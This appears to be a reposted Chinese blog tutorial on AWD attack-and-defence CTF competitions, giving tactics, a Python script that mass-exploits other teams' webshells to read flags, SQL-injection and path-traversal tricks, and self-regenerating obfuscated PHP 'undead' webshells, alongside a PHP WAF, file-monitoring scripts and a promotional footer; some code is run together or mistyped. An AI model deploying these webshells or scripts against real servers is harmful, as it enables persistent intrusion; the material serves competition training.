創(chuàng)業(yè)做網(wǎng)站 優(yōu)幫云品牌推廣方案怎么寫
一、AWD介紹
AWD:Attack With Defence,即攻防對抗,比賽中每個隊伍維護多臺服務器(一般兩三臺,視小組參賽人數(shù)而定),服務器中存在多個漏洞(web層、系統(tǒng)層、中間件層等),利用漏洞攻擊其他隊伍可以進行得分,加固時間段可自行發(fā)現(xiàn)漏洞對服務器進行加固,避免被其他隊伍攻擊失分。
- 1.一般分配Web服務器,服務器(多數(shù)為Linux)某處存在flag(一般在根目錄下);
- 2.可能會提供一臺流量分析虛擬機,可以下載流量文件進行數(shù)據(jù)分析(較少提供);
- 3.flag在主辦方的設定下每隔一定時間刷新一輪;
- 4.各隊一般都有一個初始分數(shù);
- 5.flag一旦被其他隊伍拿走,該隊扣除一定積分;
- 6.得到flag的隊伍加分;
- 7.一般每個隊伍會給一個低權限用戶,非root權限;
- 8.主辦方會對每個隊伍的服務進行check,服務器宕機扣除本輪flag分數(shù),扣除的分值由服務check正常的隊伍均分。
二、比賽分工
- 線下賽一般3人,2人攻1人守,在此情況下攻擊比防守得分來的快;
- 也可一人維護一臺靶機,同時進行攻防。
比賽靶機一般都在同一個B段,可提前掃描目標網(wǎng)段中存活靶機,方便實施攻擊。
如使用 御劍高速TCP全端口掃描工具、httpscan,只需要掃描 80 端口就行(一般web為80端口,特殊情況自行設置)。
三、套路
1、備份
比賽開始第一時間備份,備份網(wǎng)站目錄及數(shù)據(jù)庫,一般在?/var/www/html
?目錄。
一是為了dump下來,用D盾查殺存在的后門;
二是為了比賽出現(xiàn)異常或惡意破壞進行還原,避免靶機宕機被扣分;
三要審計下有沒有高危命令執(zhí)行函數(shù),進行后期加固,以及有空余時間或?qū)iT安排一個人審計下基礎漏洞用來做攻擊。
命令執(zhí)行函數(shù)?exec()
、passthru()
、system()
、?shell_exec()
、popen()
?等?代碼執(zhí)行函數(shù):eval()
、assert()
、preg_repace()
、uasort()
?等;文件包含函數(shù)?include()
?、require()
?等,用正則匹配?grep -r "@eval" /www/
,找到后注釋掉。
2、弱口令
大多數(shù)情況下,所有隊伍的Web后臺、phpmyadmin等服務的管理密碼都一樣,立馬快速檢查修改自己密碼,并利用此進行攻擊。一般默認密碼為?admin/admin, admin/123456, test/test
,如果被其他隊伍改了那就gg了。
3、后門
如上所說,對備份web目錄進行后門查殺。
查殺到后門文件后,查看后門路徑及密碼,直接通過菜刀連接。
腳本獲取webshell并快速提交
為了速度,可以通過腳本進行批量獲取webshell,腳本快速提交,代碼如下:
#!/usr/bin/env python
#coding=utf-8import request
url="http://192.168.71."
url1=""
path="/upload/index.php"
passwd="test"
port="80"
payload={passwd: 'system(\'cat /flag\');'}
f=open("webshell_list.txt", "w")
f1=open("flag_list.txt". "w")
for i in [1, 3, 5, 7, 9, 11, 13, 15]:url1=url+str(i)+":"+port+pathtry:res=request.post(url1, payload, timeout=2)if res.status_code == request.codes.ok:print url1+" connect shell success, flag is "+res.textprint >> f1, url1+" connect shell success, flag is "+res.textprint >> f, url1+", "+passwdelse:print "shell not find."except:print url1+" connect shell fail"f.close()
f1.close()
配置其他隊伍地址、shell路徑和密碼,就可以進行攻擊,flag記錄在 flag_list.txt文件中。
4、監(jiān)測攻擊payload
tail -f *.log
,看日志,不言而喻,抓他們的payload并利用。
5、漏洞
常見的漏洞包括SQL注入、文件包含、文件上傳、命令執(zhí)行等。
(1)sql注入漏洞
比賽一般沒有防護(除非選手安裝了防御腳本),可直接通過?--sql-shell
?執(zhí)行?select load_file(‘/flag’);
?得到flag,也可以利用?into outfile
?寫木馬維持權限。
(2)本地文件包含或目錄遍歷
直接通過?../../../../../flag
?獲取。
6、權限維持
(1)不死馬
直接???????linux執(zhí)行:
while true;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done
或
bs1.php
訪問后同目錄持續(xù)生成?.test.php
?文件
<?php
set_time_limit(0);
//程序執(zhí)行時間
ignore_user_abort(1);
//關掉終端后腳本仍然運行
unlink(__FILE__);
//文件完整名
while(1) {file_put_contents('.test.php','<?php $a=array($_REQUEST["x"]=>"3"); // pwd=x
$b=array_keys($a)[0];
eval($b);?>');sleep(5);
}
?>
bs2.php
訪問后同目錄持續(xù)生成?.config.php
?文件
<?phpset_time_limit(0);ignore_user_abort(1);unlink(_FILE);while(1){file_put_contents('./.config.php','<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>');system('chmod777.config.php');touch("./.config.php",mktime(20,15,1,11,28,2016)); // pwd=1usleep(100);}
?>
7、防御手段
(1)waf
<?php
//error_reporting(E_ALL);
//ini_set('display_errors', 1);
/*
檢測請求方式,除了get和post之外攔截下來并寫日志。
*/
if ($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET') {write_attack_log("method");
}
$url = $_SERVER['REQUEST_URI']; //獲取uri來進行檢測
$data = file_get_contents('php://input'); //獲取post的data,無論是否是mutipa
rt $headers = get_all_headers(); //獲取header
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($url)))); //
對URL進行檢測,出現(xiàn)問題則攔截并記錄filter_attack_keyword(filter_invisible(urldecode(filter_0x25($data))));
//對POST的內(nèi)容進行檢測,出現(xiàn)問題攔截并記錄
/*
檢測過了則對輸入進行簡單過濾
*/
foreach ($_GET as $key => $value) {$_GET[$key] = filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {$_POST[$key] = filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //對http請求頭進行檢測,出現(xiàn)問題攔截并記錄$_SERVER[$key] = filter_dangerous_words($value); //簡單過濾}
/*
獲取http請求頭并寫入數(shù)組
*/
function get_all_headers() {$headers = array();foreach ($_SERVER as $key => $value) {if (substr($key, 0, 5) === 'HTTP_') {$headers[$key] = $value;}}return $headers;
}
/*
檢測不可見字符造成的截斷和繞過效果,注意網(wǎng)站請求帶中文需要簡單修改
*/
function filter_invisible($str) {for ($i = 0; $i < strlen($str); $i++) {$ascii = ord($str[$i]);if ($ascii > 126 || $ascii < 32) { //有中文這里要修改if (!in_array($ascii, array(9,10,13))) {write_attack_log("interrupt");} else {$str = str_replace($ascii, " ", $str);}}}$str = str_replace(array("`","|",";",",") , " ", $str);return $str;
}
/*
檢測網(wǎng)站程序存在二次編碼繞過漏洞造成的%25繞過,此處是循環(huán)將%25替換成%,直至不存在%25
*/
function filter_0x25($str) {if (strpos($str, "%25") !== false) {$str = str_replace("%25", "%", $str);return filter_0x25($str);} else {return $str;}
}
/*
攻擊關鍵字檢測,此處由于之前將特殊字符替換成空格,即使存在繞過特性也繞不過正則的\b
*/
function filter_attack_keyword($str) {if (preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b
|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|m
ultipoint\(/i", $str)) {write_attack_log("sqli");}if (substr_count($str, $_SERVER['PHP_SELF']) < 2) {$tmp = str_replace($_SERVER['PHP_SELF'], "", $str);if (preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)) {write_attack_log("LFI/LFR");;}} else {write_attack_log("LFI/LFR");}if (preg_match("/base64_decode|eval\(|assert\(/i", $str)) {write_attack_log("EXEC");}if (preg_match("/flag/i", $str)) {write_attack_log("GETFLAG");}
}
/*
簡單將易出現(xiàn)問題的字符替換成中文
*/
function filter_dangerous_words($str) {$str = str_replace("'", "‘", $str);$str = str_replace("\"", "“", $str);$str = str_replace("<", "《", $str);$str = str_replace(">", "》", $str);return $str;
}
/*
獲取http的請求包,意義在于獲取別人的攻擊payload
*/
function get_http_raw() {$raw = '';$raw.= $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' ' . $_SERVER['SERVER_PROTOCOL'] . "\r\n";foreach ($_SERVER as $key => $value) {if (substr($key, 0, 5) === 'HTTP_') {$key = substr($key, 5);$key = str_replace('_', '-', $key);$raw.= $key . ': ' . $value . "\r\n";}}$raw.= "\r\n";$raw.= file_get_contents('php://input');return $raw;
}
/*
這里攔截并記錄攻擊payload
*/
function write_attack_log($alert) {date_default_timezone_set("Asia/Shanghai");$data = date("Y/m/d H:i:s") . " --
[" . $alert . "]" . "\r\n" . get_http_raw() . "\r\n\r\n";$ffff = fopen('log_is_a_secret_file.txt', 'a'); //日志路徑fwrite($ffff, $data);fclose($ffff);if ($alert == 'GETFLAG') {header("location:http://172.16.9.2/");} else {sleep(15); //攔截前延時15秒}exit(0);
}
?>
(2)Shell監(jiān)控新增文件
創(chuàng)建文件的時候更改文件創(chuàng)建時間熟悉可能監(jiān)測不到。
#!/bin/bash
while true
dofind /var/www/dvwa/ -cmin -60 -type f | xargs rm -rfsleep 1
done
循環(huán)監(jiān)聽一小時以內(nèi)更改過的文件或新增的文件,進行刪除。
(3)Python監(jiān)測新增文件
放在?/var/www/
?或?/var/www/html
?下執(zhí)行這個腳本,它會先備份當然目錄下的所有文件,然后監(jiān)控當前目錄,一旦當前目錄下的某個文件發(fā)生變更,就會自動還原,有新的文件產(chǎn)生就會自動刪除。
# -*- coding: utf-8 -*-
#use: python file_check.py ./import os
import hashlib
import shutil
import ntpath
import timeCWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []# 特殊文件路徑字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"# 文件路徑字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}def isListLike(value):return isinstance(value, (list, tuple, set))# 獲取Unicode編碼
def getUnicode(value, encoding=None, noneToNull=False):if noneToNull and value is None:return NULLif isListLike(value):value = list(getUnicode(_, encoding, noneToNull) for _ in value)return valueif isinstance(value, unicode):return valueelif isinstance(value, basestring):while True:try:return unicode(value, encoding or UNICODE_ENCODING)except UnicodeDecodeError, ex:try:return unicode(value, UNICODE_ENCODING)except:value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]else:try:return unicode(value)except UnicodeDecodeError:return unicode(str(value), errors="ignore")# 目錄創(chuàng)建
def mkdir_p(path):import errnotry:os.makedirs(path)except OSError as exc:if exc.errno == errno.EEXIST and os.path.isdir(path):passelse: raise# 獲取當前所有文件路徑
def getfilelist(cwd):filelist = []for root,subdirs, files in os.walk(cwd):for filepath in files:originalfile = os.path.join(root, filepath)if Special_path_str not in originalfile:filelist.append(originalfile)return filelist# 計算機文件MD5值
def calcMD5(filepath):try:with open(filepath,'rb') as f:md5obj = hashlib.md5()md5obj.update(f.read())hash = md5obj.hexdigest()return hashexcept Exception, e:print u'[!] getmd5_error : ' + getUnicode(filepath)print getUnicode(e)try:ORIGIN_FILE_LIST.remove(filepath)FILE_MD5_DICT.pop(filepath, None)except KeyError, e:pass# 獲取所有文件MD5
def getfilemd5dict(filelist = []):filemd5dict = {}for ori_file in filelist:if Special_path_str not in ori_file:md5 = calcMD5(os.path.realpath(ori_file))if md5:filemd5dict[ori_file] = md5return filemd5dict# 備份所有文件
def backup_file(filelist=[]):# if len(os.listdir(Special_path['bak'])) == 0:for filepath in filelist:if Special_path_str not in filepath:shutil.copy2(filepath, Special_path['bak'])if __name__ == '__main__':print u'---------start------------'for value in Special_path:mkdir_p(Special_path[value])# 獲取所有文件路徑,并獲取所有文件的MD5,同時備份所有文件ORIGIN_FILE_LIST = getfilelist(CWD)FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)backup_file(ORIGIN_FILE_LIST) # TODO 備份文件可能會產(chǎn)生重名BUGprint u'[*] pre work end!'while True:file_list = getfilelist(CWD)# 移除新上傳文件diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))if len(diff_file_list) != 0:# import pdb;pdb.set_trace()for filepath in diff_file_list:try:f = open(filepath, 'r').read()except Exception, e:breakif Special_string not in f:try:print u'[*] webshell find : ' + getUnicode(filepath)shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))except Exception as e:print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)try:f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')f.close()except Exception as e:print u'[-] log error : file move error: ' + getUnicode(e)# 防止任意文件被修改,還原被修改文件md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)for filekey in md5_dict:if md5_dict[filekey] != FILE_MD5_DICT[filekey]:try:f = open(filekey, 'r').read()except Exception, e:breakif Special_string not in f:try:print u'[*] file had be change : ' + getUnicode(filekey)shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)except Exception as e:print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)try:f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')f.close()except Exception as e:print u'[-] log error : done_diff: ' + getUnicode(filekey)passtime.sleep(2)# print '[*] ' + getUnicode(time.ctime())
(4)修改curl
獲取flag一般都是通過執(zhí)行?curl http://xxx.com/flag.txt
?更改其別名,使其無法獲取flag內(nèi)容:
alias curl = 'echo flag{e4248e83e4ca862303053f2908a7020d}' 使用別名,
chmod -x curl 降權,取消執(zhí)行權限
(5)克制不死馬、內(nèi)存馬
使用條件競爭的方式,不斷循環(huán)創(chuàng)建和不死馬同名的文件和文件夾,在此次比賽中使用此方式克制
了不死馬。
登錄后復制?
#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh
?
網(wǎng)絡安全學習路線
對于從來沒有接觸過網(wǎng)絡安全的同學,我們幫你準備了詳細的學習成長路線圖??梢哉f是最科學最系統(tǒng)的學習路線,大家跟著這個大的方向?qū)W習準沒問題。
同時每個成長路線對應的板塊都有配套的視頻提供:
需要網(wǎng)絡安全學習路線和視頻教程的可以在評論區(qū)留言哦~
最后
- 如果你確實想自學的話,我可以把我自己整理收藏的這些教程分享給你,里面不僅有web安全,還有滲透測試等等內(nèi)容,包含電子書、面試題、pdf文檔、視頻以及相關的課件筆記,我都已經(jīng)學過了,都可以免費分享給大家!
給小伙伴們的意見是想清楚,自學網(wǎng)絡安全沒有捷徑,相比而言系統(tǒng)的網(wǎng)絡安全是最節(jié)省成本的方式,因為能夠幫你節(jié)省大量的時間和精力成本。堅持住,既然已經(jīng)走到這條路上,雖然前途看似困難重重,只要咬牙堅持,最終會收到你想要的效果。
黑客工具&SRC技術文檔&PDF書籍&web安全等(可分享)
結(jié)語
網(wǎng)絡安全產(chǎn)業(yè)就像一個江湖,各色人等聚集。相對于歐美國家基礎扎實(懂加密、會防護、能挖洞、擅工程)的眾多名門正派,我國的人才更多的屬于旁門左道(很多白帽子可能會不服氣),因此在未來的人才培養(yǎng)和建設上,需要調(diào)整結(jié)構,鼓勵更多的人去做“正向”的、結(jié)合“業(yè)務”與“數(shù)據(jù)”、“自動化”的“體系、建設”,才能解人才之渴,真正的為社會全面互聯(lián)網(wǎng)化提供安全保障。
特別聲明:
此教程為純技術分享!本教程的目的決不是為那些懷有不良動機的人提供及技術支持!也不承擔因為技術被濫用所產(chǎn)生的連帶責任!本教程的目的在于最大限度地喚醒大家對網(wǎng)絡安全的重視,并采取相應的安全措施,從而減少由網(wǎng)絡安全而帶來的經(jīng)濟損失